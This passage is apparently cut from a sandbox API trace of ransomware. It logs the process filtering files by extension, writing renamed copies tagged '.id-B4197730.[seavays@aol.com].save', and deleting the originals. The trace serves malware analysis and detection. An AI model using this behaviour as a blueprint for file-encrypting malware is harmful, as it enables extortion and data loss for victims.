[0053.304] SetEndOfFile (hFile=0x2f0) returned 1 [0053.305] CloseHandle (hObject=0x2f0) returned 1 [0053.305] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0053.305] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1 [0053.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0053.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0053.306] lstrlenW (lpString=".doc") returned 4 [0053.306] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0053.306] lstrlenW (lpString=".docx") returned 5 [0053.306] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0053.306] lstrlenW (lpString=".pdf") returned 4 [0053.306] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0053.306] lstrlenW (lpString=".xls") returned 4 [0053.306] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0053.306] lstrlenW (lpString=".xlsx") returned 5 [0053.306] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0053.306] lstrlenW (lpString=".ppt") returned 4 [0053.306] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0053.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0053.306] lstrlenW (lpString=".zip") returned 4 [0053.306] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0053.306] lstrlenW (lpString=".rar") returned 4 [0053.306] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0053.306] lstrlenW (lpString=".bz2") returned 4 [0053.306] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0053.306] lstrlenW (lpString=".7z") returned 3 [0053.306] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0053.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0053.306] lstrlenW (lpString=".dbf") returned 4 [0053.306] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0053.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0053.306] lstrlenW (lpString=".1cd") returned 4 [0053.306] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0053.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0053.306] lstrlenW (lpString=".jpg") returned 4 [0053.307] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0053.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0053.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0053.307] lstrlenW (lpString=".doc") returned 4 [0053.307] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0053.307] lstrlenW (lpString=".docx") returned 5 [0053.307] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0053.307] lstrlenW (lpString=".pdf") returned 4 [0053.307] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0053.307] lstrlenW (lpString=".xls") returned 4 [0053.307] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0053.307] lstrlenW (lpString=".xlsx") returned 5 [0053.307] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0053.307] lstrlenW (lpString=".ppt") returned 4 [0053.307] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0053.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0053.307] lstrlenW (lpString=".zip") returned 4 [0053.307] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0053.307] lstrlenW (lpString=".rar") returned 4 [0053.307] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0053.307] lstrlenW (lpString=".bz2") returned 4 [0053.307] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0053.307] lstrlenW (lpString=".7z") returned 3 [0053.307] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0053.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0053.307] lstrlenW (lpString=".dbf") returned 4 [0053.307] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0053.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0053.307] lstrlenW (lpString=".1cd") returned 4 [0053.307] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0053.307] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0053.308] lstrlenW (lpString=".jpg") returned 4 [0053.308] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0053.308] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0053.308] lstrlenW (lpString="LocalizedData.xml") returned 17 [0053.308] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0053.308] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=80254) returned 1 [0053.308] CloseHandle (hObject=0x2f0) returned 1 [0053.308] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0053.308] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0053.308] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0053.308] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.308] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.308] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0053.309] GetLastError () returned 0x0 [0053.309] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x1397e, lpOverlapped=0x0) returned 1 [0053.311] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x13980, lpOverlapped=0x0) returned 1 [0053.315] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0053.315] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xf6, lpOverlapped=0x0) returned 1 [0053.315] SetEndOfFile (hFile=0x2c0) returned 1 [0053.315] CloseHandle (hObject=0x2c0) returned 1 [0053.317] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.317] SetEndOfFile (hFile=0x2f0) returned 1 [0053.319] CloseHandle (hObject=0x2f0) returned 1 [0053.319] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0053.319] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1 [0053.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0053.319] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0053.319] lstrlenW (lpString=".doc") returned 4 [0053.319] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.319] lstrlenW (lpString=".docx") returned 5 [0053.319] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0053.319] lstrlenW (lpString=".pdf") returned 4 [0053.319] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.319] lstrlenW (lpString=".xls") returned 4 [0053.319] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.320] lstrlenW (lpString=".xlsx") returned 5 [0053.320] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0053.320] lstrlenW (lpString=".ppt") returned 4 [0053.320] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0053.320] lstrlenW (lpString=".zip") returned 4 [0053.320] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.320] lstrlenW (lpString=".rar") returned 4 [0053.320] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.320] lstrlenW (lpString=".bz2") returned 4 [0053.320] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.320] lstrlenW (lpString=".7z") returned 3 [0053.320] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0053.320] lstrlenW (lpString=".dbf") returned 4 [0053.320] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0053.320] lstrlenW (lpString=".1cd") returned 4 [0053.320] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0053.320] lstrlenW (lpString=".jpg") returned 4 [0053.320] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0053.320] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0053.320] lstrlenW (lpString=".doc") returned 4 [0053.320] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.320] lstrlenW (lpString=".docx") returned 5 [0053.320] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0053.320] lstrlenW (lpString=".pdf") returned 4 [0053.320] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.321] lstrlenW (lpString=".xls") returned 4 [0053.321] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.321] lstrlenW (lpString=".xlsx") returned 5 [0053.321] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0053.321] lstrlenW (lpString=".ppt") returned 4 [0053.321] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0053.321] lstrlenW (lpString=".zip") returned 4 [0053.321] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.321] lstrlenW (lpString=".rar") returned 4 [0053.321] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.321] lstrlenW (lpString=".bz2") returned 4 [0053.321] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.321] lstrlenW (lpString=".7z") returned 3 [0053.321] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0053.321] lstrlenW (lpString=".dbf") returned 4 [0053.321] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0053.321] lstrlenW (lpString=".1cd") returned 4 [0053.321] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.321] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0053.321] lstrlenW (lpString=".jpg") returned 4 [0053.321] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.321] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0053.321] lstrlenW (lpString="eula.rtf") returned 8 [0053.321] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0053.322] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=6309) returned 1 [0053.322] CloseHandle (hObject=0x2f0) returned 1 [0053.322] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0053.322] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0053.322] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0053.322] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.322] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.322] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0053.323] GetLastError () returned 0x0 [0053.323] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x18a5, lpOverlapped=0x0) returned 1 [0054.130] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x18b0, lpOverlapped=0x0) returned 1 [0054.131] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.131] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xe4, lpOverlapped=0x0) returned 1 [0054.131] SetEndOfFile (hFile=0x2c0) returned 1 [0054.132] CloseHandle (hObject=0x2c0) returned 1 [0054.133] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.133] SetEndOfFile (hFile=0x2f0) returned 1 [0054.133] CloseHandle (hObject=0x2f0) returned 1 [0054.133] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0054.134] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1 [0054.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0054.134] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0054.134] lstrlenW (lpString=".doc") returned 4 [0054.134] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0054.134] lstrlenW (lpString=".docx") returned 5 [0054.134] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0054.134] lstrlenW (lpString=".pdf") returned 4 [0054.134] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0054.135] lstrlenW (lpString=".xls") returned 4 [0054.135] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0054.135] lstrlenW (lpString=".xlsx") returned 5 [0054.135] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0054.135] lstrlenW (lpString=".ppt") returned 4 [0054.135] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0054.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0054.135] lstrlenW (lpString=".zip") returned 4 [0054.135] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0054.135] lstrlenW (lpString=".rar") returned 4 [0054.135] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0054.135] lstrlenW (lpString=".bz2") returned 4 [0054.135] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0054.135] lstrlenW (lpString=".7z") returned 3 [0054.135] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0054.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0054.135] lstrlenW (lpString=".dbf") returned 4 [0054.135] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0054.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0054.135] lstrlenW (lpString=".1cd") returned 4 [0054.135] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0054.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0054.135] lstrlenW (lpString=".jpg") returned 4 [0054.135] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0054.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0054.135] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0054.135] lstrlenW (lpString=".doc") returned 4 [0054.135] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0054.135] lstrlenW (lpString=".docx") returned 5 [0054.135] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0054.135] lstrlenW (lpString=".pdf") returned 4 [0054.136] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0054.136] lstrlenW (lpString=".xls") returned 4 [0054.136] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0054.136] lstrlenW (lpString=".xlsx") returned 5 [0054.136] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0054.136] lstrlenW (lpString=".ppt") returned 4 [0054.136] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0054.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0054.136] lstrlenW (lpString=".zip") returned 4 [0054.136] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0054.136] lstrlenW (lpString=".rar") returned 4 [0054.136] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0054.136] lstrlenW (lpString=".bz2") returned 4 [0054.136] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0054.136] lstrlenW (lpString=".7z") returned 3 [0054.136] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0054.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0054.136] lstrlenW (lpString=".dbf") returned 4 [0054.136] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0054.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0054.136] lstrlenW (lpString=".1cd") returned 4 [0054.136] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0054.136] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0054.136] lstrlenW (lpString=".jpg") returned 4 [0054.136] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0054.136] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0054.136] lstrlenW (lpString="ParameterInfo.xml") returned 17 [0054.136] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0054.137] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=272046) returned 1 [0054.137] CloseHandle (hObject=0x2f0) returned 1 [0054.138] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80 [0054.138] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.138] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0054.138] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.138] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.138] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0054.138] GetLastError () returned 0x0 [0054.138] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x426ae, lpOverlapped=0x0) returned 1 [0054.144] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x426b0, lpOverlapped=0x0) returned 1 [0054.150] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.150] WriteFile (in: hFile=0x2c0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xf6, lpOverlapped=0x0) returned 1 [0054.150] SetEndOfFile (hFile=0x2c0) returned 1 [0054.150] CloseHandle (hObject=0x2c0) returned 1 [0054.156] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.156] SetEndOfFile (hFile=0x2f0) returned 1 [0054.159] CloseHandle (hObject=0x2f0) returned 1 [0054.159] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0054.159] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1 [0054.159] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0054.159] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0054.159] lstrlenW (lpString=".doc") returned 4 [0054.159] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.159] lstrlenW (lpString=".docx") returned 5 [0054.159] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0054.160] lstrlenW (lpString=".pdf") returned 4 [0054.160] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.160] lstrlenW (lpString=".xls") returned 4 [0054.160] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.160] lstrlenW (lpString=".xlsx") returned 5 [0054.160] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0054.160] lstrlenW (lpString=".ppt") returned 4 [0054.160] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0054.160] lstrlenW (lpString=".zip") returned 4 [0054.160] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.160] lstrlenW (lpString=".rar") returned 4 [0054.160] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.160] lstrlenW (lpString=".bz2") returned 4 [0054.160] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.160] lstrlenW (lpString=".7z") returned 3 [0054.160] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0054.160] lstrlenW (lpString=".dbf") returned 4 [0054.160] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0054.160] lstrlenW (lpString=".1cd") returned 4 [0054.160] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0054.160] lstrlenW (lpString=".jpg") returned 4 [0054.160] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0054.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0054.161] lstrlenW (lpString=".doc") returned 4 [0054.161] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.161] lstrlenW (lpString=".docx") returned 5 [0054.161] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0054.161] lstrlenW (lpString=".pdf") returned 4 [0054.161] 